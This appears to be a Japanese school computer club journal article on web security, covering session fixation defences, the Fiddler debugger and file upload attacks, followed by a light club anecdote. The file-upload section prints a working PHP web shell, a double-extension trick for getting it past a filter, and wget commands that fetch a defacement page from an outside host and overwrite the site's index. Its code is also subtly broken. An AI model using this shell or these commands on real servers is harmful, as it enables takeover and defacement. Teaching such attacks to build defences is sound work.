先ほど、セッション固定化攻撃の対策として、.htaccess を編集し、URL パラメータ やCookie からセッション ID を変更することはできなくなったが、これだけではまだ 足りないことがある。 一つは、ウェブアプリケーションの脆弱性ではなく、ブラウザ側の脆弱性の問題で ある。クッキーモンスター問題と呼ばれているこの脆弱性は、任意のセカンドレベル ドメインに対しCookie を発行することで、このドメインを含む攻撃対象サイトに対 して強制的にCookie を設定できる攻撃であり、少々古いブラウザが持つ穴である。 Internet Explorer 6 など、脆弱性を多く持つ古いブラウザであるにもかかわらず、会社 などでいまでも大きなシェアを保っている場合がある。この場合、ウェブアプリケー ション側から攻撃を未然に防ぐことができない。だからといって、ブラウザの特定の バージョンをシャットアウトするわけにもいかない。また、他の攻撃手法としてHTTP ヘッダインジェクションなどもある。HTTP 通信 のヘッダのReferer で Cookie に攻撃ができたりもする。 そのため、防御には他の手を使用する。セッションID が強制されるのを防ぐので はなく、強制されても問題がないように設計すればよい。つまり、認証後にセッショ ンID を変更してしまうのがよい。PHP では、セッション ID を変更する関数として、 session_regenerate_id(true); が存在する。これを使用して認証後にセッションID を変更してしまうことで、攻撃 者が強制したID を用いて個人情報にアクセスすることを防ぐことができる。これが 一般的な対処方法だ。 また、開発するシステムの構造によりセッション ID を変更するのが難しい場合は、 セッションID 以外にもう一つ乱数文字列 Token を生成し、Cookie とセッション変数 の両方に記憶させる方法がある。17各ページで認証を確認する際にCookie 上の Token の値を比較し、同一である場合のみ認証されていると認識する。このとき、Token が 外部に出力されるタイミングはログイン時のCookie が生成されるときのみであるた め、Token は攻撃者からは未知の情報であり、知る手段はない。これで、固定化攻撃 からシステムを守ることができるのだ。
§5. 開発ツールの基礎
さて、有名どころの攻撃手法をちょっぴり紹介し終えたところで、Web システムの 開発に必要不可欠なソフトウェアを紹介する。前々頁でも紹介した、Microsoft の Eric Lawrence 氏によって開発されている Fiddler である。Fiddler を「Web システム開発ツール」というと少々語弊があるかも知れない。広 義的には間違いないのだが、いわゆるコーディングや保守に使用するソフトウェアで はなく、デバッグに使用するツールだ。分類的にはProxy 型 HTTP デバッガというべ きか。この手のソフトウェアは他にもたくさんあるが、やはりFiddler の利点はなん と言っても、機能の豊富さである。その豊富さゆえに実は私も全ては把握し切れてい ないが、ここでは代表的な機能をかいつまんでご紹介しよう。
①
HTTP ヘッダを見る
HTTP ヘッダを見たいと思う機会は、Web プログラマであれば多いはずだ。レスポ ンスヘッダを読んでコーディングやキャラクターエンコーディング上の問題を解決し たり、もしくはセッションの保持がうまくいっているかどうかなど、HTTP ヘッダか ら得られる情報は多い。しかし、主要ブラウザのデベロッパーツールを見ても、17 調べたところ、大手サイトでは Token を使用しているサイトの方が多いようだ。
HTTP ヘッダを詳しく読む事が出来る機能が実装されていることは少ない。あったと しても、拡張機能レベルで、本格的なものはあまり期待できない。 しかしこれに対して、Fiddler の HTTP ヘッダ表示機能はとてもパワフルである。ま ず、全てのHTTP 通信をメモリ上に蓄積し、テーブルでいつでもアクセスできる。そ してHTTP ヘッダをプレーンテキストだけでなく階層構造でわかりやすく表示してく れる。これで、複数の通信を比較してバグや脆弱性を見つける手間が大いに省ける。 地味ながらも、大変便利な機能である。
②ブレークポイントを張る
この機能も大変優秀だ。ブレークポイントを指定すると、クライアントとサーバー 間の通信が、リクエスト・レスポンス共にProxy である Fiddler で一度ストップしてく れる。この機能を活用して、レスポンスをローカルのファイルで置き換えたり、サー バーへ送信される値（POST 等）をサーバーに届く前に編集することが出来る。弄っ た後はブレークポイントを解除してやれば、何も無かったかのように通信は再開する。 なお、当然ではあるがブレークポイントで通信がストップさせられている間、ブラウ ザでは「読み込み中」のままレスポンスを待つ状態になる。③拡張機能が使える・作れる
これはとても大きい。Fiddler では、（デフォルトの機能だけでも十分すぎるのだが） JScript.NET や C#, VB.NET で機能を拡張することが出来る。 実際に有志によって公開されているものもあり、その中でも代表的なものが Casaba Watcher ではなかろうか。以下で紹介する。④脆弱性をある程度スキャンできる
Casaba Watcher という Fiddler プラグインがある。米国の Casaba Security 社によっ てオープンソースで18 提供されているものだが、これをインストールするだけで、30 以上の脆弱性チェックをやってくれる。当然ながらこれだけでは不十分であるが、時 間を掛けずに有名どころを潰していけるのは開発効率の劇的なアップに繋がるはずだ。 ちなみに、現在Casaba Watcher が対応しているチェック項目には以下のようなもの がある（一部） ・Cross Domain ・Cookie ・Charset ・Header
18 独自ライセンスなので、使用時には確認が必要である。
・JavaScript ・SSL ・Unicode（不正バイトストリーム） ・User Controlled （ユーザーにより変更が可能な値） etc...
⑤文字エンコーダ・デコーダ
これは地味に嬉しい機能だ。Fiddler には文字エンコーダ及びデコーダが付属してい る。Base64, HEX, UTF-7, URL Encode, JS String など、Web 開発で出現するものはたい ていカバーされている。 さて、ここまでFiddler の一般的な機能を紹介してきたが、初めに述べた通り、 Fiddler にはもっともっと多くの使い道があり、可能性はこの限りではない。使い方を 解説している日本語の資料はあまりないので、思い切って英文のマニュアルや解説ブ ログを読むのがよいだろう。§6. さらに致命的な攻撃手法
さて、前々節までに、三つの代表的な攻撃手法をご紹介した。XSS・SQL Injection、 そしてSession Fixation である。 この記事の最後を締める攻撃手法として、成功した場合の被害がさらに大きくなる 攻撃手法を一つご紹介する。ファイルアップロード攻撃である。 ファイルアップロード攻撃とは、その名の通りファイルをサーバーにアップロード することで成立する攻撃手法の総称である。例えば画像をアップロードする機能にお いて不正なCGI や PHP スクリプトなどをアップロードすることができれば、簡単に サーバーを乗っ取ることができるのは容易に想像がつくであろう。 さて、まずは実際に簡単なファイルアップロード機能を書いてみる。SOURCE9: FILE UPLOADING /fup/1/001.html
--- <html> <body>
<form action=”002.php” method=”POST” enctype=”multipart/form-data”> Upload your file:<br>
<input type=”file” name=”u”><br> <input type=”submit” value=”Upload”> </form>
</body> </html>
/fup/1/002.php --- <?php if (is_uploaded_file($_FILES[”u”][”tmp_name”])) { if (move_uploaded_file($_FILES[”u”][”tmp_name”],“files/” . $_FILES[”u”][”name”])) { chmod(”files/” . $_FILES[”u”][”name”], 0644);
echo $_FILES[”u”][”name”].” done”; }else{
echo “Couldn’t upload”; }
}else{
echo “Not selected”; } ?> このソースコードを実際に実行すると、簡単なファイルアップロード機能が動作し ているのがわかる。今回のソースコードでは、/fup/1/files ディレクトリにファイルを 格納している。実際にファイルをアップロードしてみると、どんなファイルでもアッ プロードできることがわかる。当然ながら files/ は外部からのアクセスも可能なので、 CGI/PHP スクリプトをアップロードして実行することも可能だ。 試しに以下のようなスクリプトを書いてみた。
SOURCE9: PHP TERMINAL EMULATOR...? /fup/1/files/term.php --- <?php $res = shell_exec($_POST[‘c’]); ?> <html> <body>
<textarea><? echo $res; ?></textarea> <form action=”term.php” method=”POST”> command:<input type=”text” name=”c”> <input type=”submit” value=”Exec”> </form> </body> </html> これを実行すると、ブラウザ画面上からシェルを実行できる簡単なターミナルエミ ュレータとして動作する。これを、ファイルアップロード機能を用いてサーバーにア ップロードしても、フィルタは実装されていないので問題なくアップロードされ、ブ
ラウザから /fup/1/files/term.php にアクセスすればシェルを操作できてしまい、Apache ユーザーの権限で可能な操作は全て可能となる。
これでは明らかにセキュリティ的にまずいので、ここではJPEG ファイル（画像） 以外のファイルを通さないようにする。002.php を改良する。
正規表現を用いて、拡張子がJPG であることを確認するように動作を改良した。
/fup/1/002.php (add code) --- <?php //... $type = end(explode($_FILES[”u”][”name”],’.’)); if(preg_match(‘\^jpg$\i’,$type) || preg_match(‘\^jpeg$\i’,$type) ){ //upload logic }else{
//false (file uploaded is not jpeg) } //... ?> さて、このようにして拡張子に制限を付ければ、ひとまず先ほどの悪質なスクリプ ト term.php のアップロードは防ぐことができる。しかし、この対策には大きな穴が ある。これはブラウザに依存する脆弱性だ。早速見てみよう。 まず、term.php のファイル名を term.php.jpg に変更する。これで、自分のコンピュ ータ上でもjpg と関連づけられた画像表示ソフトが起動し、ファイルを読み込めなく なるはずだ。開くためには、いわゆる「プログラムを開く」オプションからテキスト エディタを選択すれば良い。 先ほどの、拡張フィルタリングを施したアップロードシステムにterm.php.jpg をア ップロードすると、もちろん成功することは予想できるだろう。 なぜなら、先ほど002.php で追加したコードは ファイル名を . (ドット) で explode（分割して配列に格納）し、その配列のうちの最 終項を参照しているからだ。term.php.jpg を explode すると {term, php, jpg} となり、 これの最終項はjpg であるから、jpg 判定を通過できる。
しかし、自分のコンピュータと同じように、ブラウザでもアップロードしたファイ ルが画像と認識されてファイルを実行することができないと考えられるだろう。しか し、実はそうではないのだ。これは、ブラウザがファイルの種別を判断する際に拡張 子以外の要素を考慮に入れているからである。
これは特にInternet Explorer / NetScape Gecko 系エンジンを搭載しているブラウザに 顕著な特徴であり、拡張子がjpg であっても、ファイルの内容を解析し、サーバーか ら出力されたのがhtml であると検知して html としてレンダリングをすることがある のだ。つまり、ウェブシステムのファイルフィルタとウェブブラウザのファイル識別 システムに齟齬があるのが原因となり、想定していない重大な脆弱性が発生する可能 性がある。ちなみに、ブラウザにおけるファイル識別のフローはInternet Explorer に ついては公開されておらず、様々な実験を通してフローを推測して発表している研究 者がいるほどだ。 さて、実際に試してみよう。アップロードしたterm.php.jpg にブラウザからアクセ スする。今回ブラウザにはMozilla Foundation の Firefox 10.02 を使用する。
アクセスすると、上のようなページが表示され、form にコマンドを入力するとその 実行結果が返ってくる。例えば上の図のように、pwd コマンドを実行すると、カレン トディレクトリの絶対パスを返してくる。ただし、操作は毎回スクリプトファイルの 存在するディレクトリから始まるので、cd ../ コマンドを実行しても次の操作はまた /usr/local/apache2/htdocs/files/ から開始する。そのため、全てのファイル操作には files/ からの相対パスを記述するか、絶対パスを記述しなければならない。 このようなスクリプトがサーバーに投げ込まれたとき、最悪なのはapache ユーザー がroot 権限で起動している場合だ。安全性の面から一般ユーザーで apache を起動す るのがセキュリティポリシー的には常識であるが、メンテナンスの利便性やスクリプ ト側からのUNIX コマンドの操作のしやすさから、apache を root 権限で起動している サーバーも少なからずある。また、古いLinux カーネルを使用していたり、脆弱性を 含むソフトウェアがインストールされていて、スクリプトを用いてroot 権限を奪取で きることもある。こうなると、もはやどうしようもない。ウェブサイトの書き換え、 プログラムの書き換えやウィルス侵入など、ナンデモアリの攻撃が実現する。実際に やってみよう。 まずは、先ほどアップロードしたスクリプトファイルにアクセスし、サーバーに対 して以下のコマンドを実行する。（root 権限を持っているという設定で解説する。持
/usr/local/apache2/htdocs/files
セッショsend
pwd
っていない場合はサーバー自体の脆弱性からroot 権限を奪うか、もしくはウェブシス テムの他の脆弱性を使う必要があるかもしれない。）
SOURCE10: Execute Shell Command wget http://ml.itehu.info/hack.html mv -f hack.html ../index.html wget http://ml.itehu.info/annms.png mv annms.png ../annms.png このコマンドは、私のサーバー上に置いておいた「乗っ取りました宣言」ページの ファイルをダウンロードしてきて、元々のウェブサイト上に書き換えるための簡単な コマンドである。 これで、トップページを書き換えて犯行声明をアクセスした人たちに見せることが できる。 たとえば同様の手口で、「ウェブサイトを見るためには追加のソフトウェアが必要 です」と言ってウィルス等の不正なソフトウェアをインストールさせるという手口も アリだろう。 このように、たったこれだけの脆弱性でも、完全にシステムに侵入されてシステム が極限まで破壊されるという可能性があることを知ってほしい。 さて、最後にこの攻撃に対する対策を簡単にご紹介する。先ほど行った「第一の対 策」は拡張子の変更であった。これではスクリプト側のファイル名を変更するだけで 回避できてしまったので、もっとしっかりした対策を考える。たとえば、 ・HTTP ヘッダの Content-Type を識別 ・バイナリを解析してjpeg であることを確認 などの手法があるだろう。これに関しては、この記事では技術的な解説はしない。 このように、Web セキュリティをはじめとするセキュリティの分野は非常に奥が深 く、終わりのない学問であると私は考えている。技術の一般化が進み、セキュリティ が甘く見られているこの時代だからこそ、もう一度セキュリティを見直すべきではな かろうか。セキュリティは「アンチウィルスソフト」で解決できるものではない。ウ ィルスよりも身近に、いつも訪れているウェブサイトに、危険は潜んでいるのである。 利用者もそれを肝に銘ずべし。 なお、文化祭のパソコン部ステージにおいて「Web ハッキング実演」と題してここ で紹介した攻撃手法を実演しているのでぜひご覧いただきたい。
参考資料
徳丸浩 (2011) 『安全な Web アプリケーションの作り方 脆弱性が生まれる原理と対策の実践』 ソフトバンククリエイティブ株式会社 GIJOE (2005) 『PHP サイバーテロの技法 攻撃と防御の実際』 ソシム株式会社 Studying HTTP <http://www.studyinghttp.net/> XSS Challenges19 <http://xss-quiz.int21h.jp/> 情報処理推進機構：情報セキュリティ：脆弱性対策 <http://www.ipa.go.jp/security/vuln/>末注
この論文において紹介した各種のシステム攻撃手法は、ダミーではなく実際のシス テムで有効な攻撃である。いかなる理由にかかわらず、公開されているシステムに無 断でこの類の攻撃を行うことは法律で禁じられている。また、それによりデータの破 損やシステムの破壊が生じた場合は、不正アクセス及び威力業務妨害罪で逮捕される 可能性が高い。軽い気持ちでこのようなことを決してしないように、気を付けていた だきたい。この論文はあくまでもWeb の世界の実態と危険性を提示するもので、い かなる犯罪行為を幇助するものでもない。この論文によりいかなることが発生しても、 著者及び関係者は一切の責任を負わない。19 様々な XSS のパターンを用いてサイトに仕込まれた脆弱性を突いていくゲーム形式の学習サイト である。
昔から思っていたことをここに書かせてほしい。この部誌、濃度が濃すぎるのでは ないだろうか。フォントの話から言語の話からなんやらまで、ちょっと気軽に読むの にはヘビーすぎる。というわけで、軽く読める「番外編」を準備した。テーマも軽い。 題して、「灘校パソコン研究部がテレビに登場したゾ！の巻」。長い。クッソ長い。 なにこれ。 まあいいや、こんな戯言にページ数を使っているぐらいなら早速話をしていこうじ ゃないか。 そもそも灘校パソコン研究部は #自称日本一 なので、結構 IT 界隈の人たちには知 られていたりする。セキュリティ＆プログラミングキャンプに2 年で 4 人の参加者を 輩出したり、背の高い人（誰だ）がiPhone アプリをちゃっちゃと作っただけで妙に取 りざたされたり、技術者界隈のイベントに積極的に登場してドヤ顔で自分たちの研究 成果を晒していたりするからだろう。まあ言ってしまえば
「アクティブなヲタク」
である。かっけぇ。まじかっけぇ。 まあその関連なのかなんなのか、先日パソコン部に2 回目のテレビ取材が入った。 そのときの模様を、#自称パソコン部広報部長 の Tehu がお伝えしてしよう。 2 回目と書いてある。そう、1 回目は 2010 年 9 月だった。関西圏なら知らない人は いないであろう、あの葉加瀬太郎の壮大な曲をOP/ED に使っている、関西テレビの 「スーパーニュース ア〇カー」20だ。夕方5 時から 7 時まで、途中に東京の全国ニュ ースを挟んで放送されている。少々髪が少ないとお見受けする名物アナウンサーもい る。そう、それ。 でもなんか特定部員（誰だよまったく）にフォーカスした内容だったため、パソコ ン部自体についてはほとんど言及がないという残念な感じになってしまった。この部 分については広報担当からもかなりお願いはしたのだが無理だった。やっぱりプロデ ューサ怖い。20 ○に「ホ」を入れないように。
番外編
灘校パソコン研究部がテレビに登場したゾ！の巻
というわけでいつかリベンジを... と機会を待っていた。個人的には読売テレビの 「AKB と××！」21とか「AKB48 ネ申テレビ」とか「AKBINGO!」とか、そういう番 組からオファーがくるのを待っていたのだが、さすがに来ない。パソヲタとアイドル が組んでも視聴率はとれないわ。さすがに。ちょっと個人の趣味も混じってるけどご 勘弁。
そして、突然機会はやってきた。2011 年 11 月 1 日。その日、僕はパソコン研究部 のメンバー4 人と共に、横浜にいた。Google Developer Day 2011 という国際会議に参 加するためだ。どやぁ。Google Developer Day 2011 が終わり、さて桜木町駅の「一蘭」 でみんなで食うか、と思っていたとき、iPhone に二通のメールが入った。 一つ目。（要約） 「Tehu 様 はじめまして、私〇〇テレビジョンの〇〇と申します。NHK BS『熱中ス タジアム』のディレクターをつとめております。この度ご連絡させていただきました のは、ぜひTehu 様に当番組へのご出演を賜りたく...」 人気お笑いコンビ「オリエンタルラジオ」の中田さんと、女優の中越典子さんが司 会を務める、趣味を極めた人が出演するテレビ番組のスタジオ収録に呼ばれた。残念 ながらパソコン部に関する言及はない。普通にOK 出して、出演してきました。はん にゃの金田さんや熊田曜子さんとも楽しく話ができて幸せでした。 でもこっちは広報担当としては正直どうでもよくて。だってパソコン部関係ないじ ゃん。僕はこの命を賭けてパソコン部の宣伝がしたいんだ！！！ ということで同時に届いた二通目。（要約） 「Tehu 様 こんにちは、私 NHK E テレ『R の法則』でディレクターを務めておりま す〇〇と申します。『R の法則』は、R’s と呼ばれる中高生アイドルたちが、日本全 国をRanking&Research する番組です...」 なんだよこっちもパソコン部関係ないじゃないか。。。
